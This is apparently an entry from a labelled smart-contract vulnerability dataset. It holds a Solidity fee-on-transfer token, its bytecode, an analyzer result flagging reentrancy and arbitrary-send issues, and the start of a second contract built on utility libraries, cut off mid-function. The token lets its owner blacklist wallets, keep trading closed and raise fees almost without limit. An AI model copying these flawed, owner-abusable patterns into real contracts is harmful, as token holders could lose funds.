bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1e9 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _redisFeeOnBuy = 2; uint256 private _taxFeeOnBuy = 8; uint256 private _redisFeeOnSell = 2; uint256 private _taxFeeOnSell = 8; uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping (address => uint256) public _buyMap; address payable private _marketingAddress ; IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 20000000 * 10**9; uint256 public _maxWalletSize = 20000000 * 10**9; uint256 public _swapTokensAtAmount = 10000 * 10**9; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; _marketingAddress = payable(_msgSender()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function initContract() external onlyOwner(){ IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); } function setTrading(bool _tradingOpen) public onlyOwner { require(!tradingOpen); tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { require(taxFeeOnBuy<=_taxFeeOnBuy||taxFeeOnSell<=_taxFeeOnSell); _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) external onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } function toggleSwap(bool _swapEnabled) external onlyOwner{ swapEnabled = _swapEnabled; } function setMaxTxnAmount(uint256 maxTxAmount) external onlyOwner { require(maxTxAmount > 5000000 * 10**9 ); _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x6080604052600436106101db5760003560e01c80637d1db4a511610102578063a2a957bb11610095578063c492f04611610064578063c492f04614610540578063dd62ed3e14610560578063ea1644d5146105a6578063f2fde38b146105c657600080fd5b8063a2a957bb146104bb578063a9059cbb146104db578063bfd79284146104fb578063c3c8cd801461052b57600080fd5b80638f70ccf7116100d15780638f70ccf7146104655780638f9a55c01461048557806395d89b411461020957806398a5c3151461049b57600080fd5b80637d1db4a5146103ef5780637f2feddc146104055780638203f5fe146104325780638da5cb5b1461044757600080fd5b8063313ce5671161017a5780636fc3eaec116101495780636fc3eaec1461038557806370a082311461039a578063715018a6146103ba57806374010ece146103cf57600080fd5b8063313ce5671461030957806349bd5a5e146103255780636b999053146103455780636d8aa8f81461036557600080fd5b80631694505e116101b65780631694505e1461027657806318160ddd146102ae57806323b872dd146102d35780632fd689e3146102f357600080fd5b8062b8cf2a146101e757806306fdde0314610209578063095ea7b31461024657600080fd5b366101e257005b600080fd5b3480156101f357600080fd5b50610207610202366004611b00565b6105e6565b005b34801561021557600080fd5b50604080518082018252600581526420a822a2a960d91b6020820152905161023d9190611bc5565b60405180910390f35b34801561025257600080fd5b50610266610261366004611c1a565b610685565b604051901515815260200161023d565b34801561028257600080fd5b50601354610296906001600160a01b031681565b6040516001600160a01b03909116815260200161023d565b3480156102ba57600080fd5b50670de0b6b3a76400005b60405190815260200161023d565b3480156102df57600080fd5b506102666102ee366004611c46565b61069c565b3480156102ff57600080fd5b506102c560175481565b34801561031557600080fd5b506040516009815260200161023d565b34801561033157600080fd5b50601454610296906001600160a01b031681565b34801561035157600080fd5b50610207610360366004611c87565b610705565b34801561037157600080fd5b50610207610380366004611cb4565b610750565b34801561039157600080fd5b50610207610798565b3480156103a657600080fd5b506102c56103b5366004611c87565b6107c5565b3480156103c657600080fd5b506102076107e7565b3480156103db57600080fd5b506102076103ea366004611ccf565b61085b565b3480156103fb57600080fd5b506102c560155481565b34801561041157600080fd5b506102c5610420366004611c87565b60116020526000908152604090205481565b34801561043e57600080fd5b5061020761089d565b34801561045357600080fd5b506000546001600160a01b0316610296565b34801561047157600080fd5b50610207610480366004611cb4565b610a55565b34801561049157600080fd5b506102c560165481565b3480156104a757600080fd5b506102076104b6366004611ccf565b610ab4565b3480156104c757600080fd5b506102076104d6366004611ce8565b610ae3565b3480156104e757600080fd5b506102666104f6366004611c1a565b610b3d565b34801561050757600080fd5b50610266610516366004611c87565b60106020526000908152604090205460ff1681565b34801561053757600080fd5b50610207610b4a565b34801561054c57600080fd5b5061020761055b366004611d1a565b610b80565b34801561056c57600080fd5b506102c561057b366004611d9e565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105b257600080fd5b506102076105c1366004611ccf565b610c21565b3480156105d257600080fd5b506102076105e1366004611c87565b610c50565b6000546001600160a01b031633146106195760405162461bcd60e51b815260040161061090611dd7565b60405180910390fd5b60005b81518110156106815760016010600084848151811061063d5761063d611e0c565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061067981611e38565b91505061061c565b5050565b6000610692338484610d3a565b5060015b92915050565b60006106a9848484610e5e565b6106fb84336106f685604051806060016040528060288152602001611f50602891396001600160a01b038a166000908152600460209081526040808320338452909152902054919061139a565b610d3a565b5060019392505050565b6000546001600160a01b0316331461072f5760405162461bcd60e51b815260040161061090611dd7565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b0316331461077a5760405162461bcd60e51b815260040161061090611dd7565b60148054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b0316146107b857600080fd5b476107c2816113d4565b50565b6001600160a01b0381166000908152600260205260408120546106969061140e565b6000546001600160a01b031633146108115760405162461bcd60e51b815260040161061090611dd7565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108855760405162461bcd60e51b815260040161061090611dd7565b6611c37937e08000811161089857600080fd5b601555565b6000546001600160a01b031633146108c75760405162461bcd60e51b815260040161061090611dd7565b601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a01559160048083019260209291908290030181865afa15801561092c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109509190611e51565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561099d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109c19190611e51565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610a0e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a329190611e51565b601480546001600160a01b0319166001600160a01b039290921691909117905550565b6000546001600160a01b03163314610a7f5760405162461bcd60e51b815260040161061090611dd7565b601454600160a01b900460ff1615610a9657600080fd5b60148054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b03163314610ade5760405162461bcd60e51b815260040161061090611dd7565b601755565b6000546001600160a01b03163314610b0d5760405162461bcd60e51b815260040161061090611dd7565b60095482111580610b205750600b548111155b610b2957600080fd5b600893909355600a91909155600955600b55565b6000610692338484610e5e565b6012546001600160a01b0316336001600160a01b031614610b6a57600080fd5b6000610b75306107c5565b90506107c281611492565b6000546001600160a01b03163314610baa5760405162461bcd60e51b815260040161061090611dd7565b60005b82811015610c1b578160056000868685818110610bcc57610bcc611e0c565b9050602002016020810190610be19190611c87565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610c1381611e38565b915050610bad565b50505050565b6000546001600160a01b03163314610c4b5760405162461bcd60e51b815260040161061090611dd7565b601655565b6000546001600160a01b03163314610c7a5760405162461bcd60e51b815260040161061090611dd7565b6001600160a01b038116610cdf5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610610565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610d9c5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610610565b6001600160a01b038216610dfd5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610610565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610ec25760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610610565b6001600160a01b038216610f245760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610610565b60008111610f865760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610610565b6000546001600160a01b03848116911614801590610fb257506000546001600160a01b03838116911614155b1561129357601454600160a01b900460ff1661104b576000546001600160a01b0384811691161461104b5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610610565b60155481111561109d5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610610565b6001600160a01b03831660009081526010602052604090205460ff161580156110df57506001600160a01b03821660009081526010602052604090205460ff16155b6111375760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610610565b6014546001600160a01b038381169116146111bc5760165481611159846107c5565b6111639190611e6e565b106111bc5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610610565b60006111c7306107c5565b6017546015549192508210159082106111e05760155491505b8080156111f75750601454600160a81b900460ff16155b801561121157506014546001600160a01b03868116911614155b80156112265750601454600160b01b900460ff165b801561124b57506001600160a01b03851660009081526005602052604090205460ff16155b801561127057506001600160a01b03841660009081526005602052604090205460ff16155b156112905761127e82611492565b47801561128e5761128e476113d4565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff16806112d557506001600160a01b03831660009081526005602052604090205460ff165b8061130757506014546001600160a01b0385811691161480159061130757506014546001600160a01b03848116911614155b156113145750600061138e565b6014546001600160a01b03858116911614801561133f57506013546001600160a01b03848116911614155b1561135157600854600c55600954600d555b6014546001600160a01b03848116911614801561137c57506013546001600160a01b03858116911614155b1561138e57600a54600c55600b54600d555b610c1b8484848461160c565b600081848411156113be5760405162461bcd60e51b81526004016106109190611bc5565b5060006113cb8486611e86565b95945050505050565b6012546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610681573d6000803e3d6000fd5b60006006548211156114755760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610610565b600061147f61163a565b905061148b838261165d565b9392505050565b6014805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106114da576114da611e0c565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611533573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115579190611e51565b8160018151811061156a5761156a611e0c565b6001600160a01b0392831660209182029290920101526013546115909130911684610d3a565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac947906115c9908590600090869030904290600401611e9d565b600060405180830381600087803b1580156115e357600080fd5b505af11580156115f7573d6000803e3d6000fd5b50506014805460ff60a81b1916905550505050565b806116195761161961169f565b6116248484846116cd565b80610c1b57610c1b600e54600c55600f54600d55565b60008060006116476117c4565b9092509050611656828261165d565b9250505090565b600061148b83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611804565b600c541580156116af5750600d54155b156116b657565b600c8054600e55600d8054600f5560009182905555565b6000806000806000806116df87611832565b6001600160a01b038f16600090815260026020526040902054959b50939950919750955093509150611711908761188f565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461174090866118d1565b6001600160a01b03891660009081526002602052604090205561176281611930565b61176c848361197a565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516117b191815260200190565b60405180910390a3505050505050505050565b6006546000908190670de0b6b3a76400006117df828261165d565b8210156117fb57505060065492670de0b6b3a764000092509050565b90939092509050565b600081836118255760405162461bcd60e51b81526004016106109190611bc5565b5060006113cb8486611f0e565b600080600080600080600080600061184f8a600c54600d5461199e565b925092509250600061185f61163a565b905060008060006118728e8787876119f3565b919e509c509a509598509396509194505050505091939550919395565b600061148b83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061139a565b6000806118de8385611e6e565b90508381101561148b5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610610565b600061193a61163a565b905060006119488383611a43565b3060009081526002602052604090205490915061196590826118d1565b30600090815260026020526040902055505050565b600654611987908361188f565b60065560075461199790826118d1565b6007555050565b60008080806119b860646119b28989611a43565b9061165d565b905060006119cb60646119b28a89611a43565b905060006119e3826119dd8b8661188f565b9061188f565b9992985090965090945050505050565b6000808080611a028886611a43565b90506000611a108887611a43565b90506000611a1e8888611a43565b90506000611a30826119dd868661188f565b939b939a50919850919650505050505050565b600082600003611a5557506000610696565b6000611a618385611f30565b905082611a6e8583611f0e565b1461148b5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610610565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107c257600080fd5b8035611afb81611adb565b919050565b60006020808385031215611b1357600080fd5b823567ffffffffffffffff80821115611b2b57600080fd5b818501915085601f830112611b3f57600080fd5b813581811115611b5157611b51611ac5565b8060051b604051601f19603f83011681018181108582111715611b7657611b76611ac5565b604052918252848201925083810185019188831115611b9457600080fd5b938501935b82851015611bb957611baa85611af0565b84529385019392850192611b99565b98975050505050505050565b600060208083528351808285015260005b81811015611bf257858101830151858201604001528201611bd6565b81811115611c04576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611c2d57600080fd5b8235611c3881611adb565b946020939093013593505050565b600080600060608486031215611c5b57600080fd5b8335611c6681611adb565b92506020840135611c7681611adb565b929592945050506040919091013590565b600060208284031215611c9957600080fd5b813561148b81611adb565b80358015158114611afb57600080fd5b600060208284031215611cc657600080fd5b61148b82611ca4565b600060208284031215611ce157600080fd5b5035919050565b60008060008060808587031215611cfe57600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611d2f57600080fd5b833567ffffffffffffffff80821115611d4757600080fd5b818601915086601f830112611d5b57600080fd5b813581811115611d6a57600080fd5b8760208260051b8501011115611d7f57600080fd5b602092830195509350611d959186019050611ca4565b90509250925092565b60008060408385031215611db157600080fd5b8235611dbc81611adb565b91506020830135611dcc81611adb565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b600060018201611e4a57611e4a611e22565b5060010190565b600060208284031215611e6357600080fd5b815161148b81611adb565b60008219821115611e8157611e81611e22565b500190565b600082821015611e9857611e98611e22565b500390565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611eed5784516001600160a01b031683529383019391830191600101611ec8565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611f2b57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611f4a57611f4a611e22565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122042edf795a80c8aaf9b84f32859c94fd224418300107210cad81d3d8d7968461964736f6c634300080d0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
46
0xbd125bF92b3766fBCA5C9F019934d47F5768E051
// SPDX-License-Identifier: AGPL-3.0-or-later pragma solidity 0.7.5; library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer( IERC20 token, address to, uint256 value ) internal { _callOptionalReturn( token, abi.encodeWithSelector(token.transfer.selector, to, value) ); } function safeTransferFrom( IERC20 token, address from, address to, uint256 value ) internal { _callOptionalReturn( token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value) ); } function safeApprove( IERC20 token, address spender, uint256 value ) internal { require( (value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn( token, abi.encodeWithSelector(token.approve.selector, spender, value) ); } function safeIncreaseAllowance( IERC20 token, address spender, uint256 value ) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn( token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance) ); } function safeDecreaseAllowance( IERC20 token, address spender, uint256 value ) internal { uint256 newAllowance = token.allowance(address(this), spender).sub( value, "SafeERC20: decreased allowance below zero" ); _callOptionalReturn( token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance) ); } function _callOptionalReturn(IERC20 token, bytes memory data) private { bytes memory returndata = address(token).functionCall( data, "SafeERC20: low-level call failed" ); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require( abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed" ); } } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } // babylonian method (https://en.wikipedia.org/wiki/Methods_of_computing_square_roots#Babylonian_method) function sqrrt(uint256 a) internal pure returns (uint256 c) { if (a > 3) { c = a; uint256 b = add(div(a, 2), 1); while (b < c) { c = b; b = div(add(div(a, b), b), 2); } } else if (a != 0) { c = 1; } } function percentageAmount(uint256 total_, uint8 percentage_) internal pure returns (uint256 percentAmount_) { return div(mul(total_, percentage_), 1000); } function substractPercentage(uint256 total_, uint8 percentageToSub_) internal pure returns (uint256 result_) { return sub(total_, div(mul(total_, percentageToSub_), 1000)); } function percentageOfTotal(uint256 part_, uint256 total_) internal pure returns (uint256 percent_) { return div(mul(part_, 100), total_); } function average(uint256 a, uint256 b) internal pure returns (uint256) { // (a + b) / 2 can overflow, so we distribute return (a / 2) + (b / 2) + (((a % 2) + (b % 2)) / 2); } function quadraticPricing(uint256 payment_, uint256 multiplier_) internal pure returns (uint256) { return sqrrt(mul(multiplier_, payment_)); } function bondingCurve(uint256 supply_, uint256 multiplier_) internal pure returns (uint256) { return mul(multiplier_, supply_); } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library Address { function isContract(address account) internal view returns (bool) { // This method relies in extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{value: amount}(""); require( success, "Address: unable to send value, recipient may have reverted" ); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue( target, data, value, "Address: low-level call with value failed" ); } function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require( address(this).balance >= value, "Address: insufficient balance for call" ); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{value: value}(data); return _verifyCallResult(success, returndata, errorMessage); } function _functionCallWithValue( address target, bytes memory data, uint256 weiValue, string memory errorMessage ) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{value: weiValue}( data ); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall( target, data, "Address: low-level delegate call failed" ); } function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) private pure returns (bytes memory) { if (success) { return returndata; } else { if (returndata.length > 0) { assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } function addressToString(address _address) internal pure returns (string memory) { bytes32 _bytes = 